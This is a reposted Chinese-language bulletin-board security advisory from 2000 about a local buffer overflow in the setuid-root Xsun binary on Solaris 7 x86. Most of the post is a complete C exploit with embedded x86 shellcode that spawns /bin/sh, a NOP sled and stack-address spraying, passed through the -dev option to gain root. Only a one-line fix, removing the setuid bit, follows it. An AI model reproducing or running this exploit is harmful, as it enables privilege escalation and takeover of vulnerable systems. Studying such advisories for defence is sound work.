发信人: williamlong()
整理人: williamlong(2000-05-09 12:52:07), 站内信件
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由于/usr/openwin/bin/Xsun设置了setuid为root，在solaris 7 x86版本中
，该程序存在一个溢出漏洞。在sparc版本中，该程序默认了setgid为root。通过
在-dev选项后面加一个足够长的参数。(通常用于设置输出设备),可能导致以roo
t身份执行任意代码。或者获得更高的root权限。
/*
*
* Solaris 7 Xsun(suid) local overflow - PRIVATE for now!
* Solaris 2.7/(2.6?) x86 sploit no sparc code, yet!
*
* Discovered/sploited By DiGiT - [email protected]
*
* Greets: #!ADM, #!security.is
*/
#include <stdio.h>
#include <stdlib.h>
// Generic solaris x86 shellcode by cheeze wizz
char shellcode[] =
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
long get_esp() { __asm__("movl %esp,%eax"); }
int main(int argc, char *argv[]) {
char buff[5000];
int nopcount=2001, bsize=4000, offset=1850;
int i;
if (argc > 1) nopcount = atoi(argv[1]);
if (argc > 2) bsize = atoi(argv[2]);
if (argc > 3) offset = atoi(argv[3]);
memset (buff, 0x90, bsize);
for (i = nopcount; i < bsize - 4; i += 4)
*(long *) &buff[i] = get_esp() + offset;
memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen
(shellcode));
memcpy (buff, ":", 1);
printf("Oh boy. DiGiT presents r00t\n");
execl("/usr/openwin/bin/Xsun", "Xsun", "-dev", buff, NULL);
}
移除/usr/openwin/bin/Xsun的setuid位。
--
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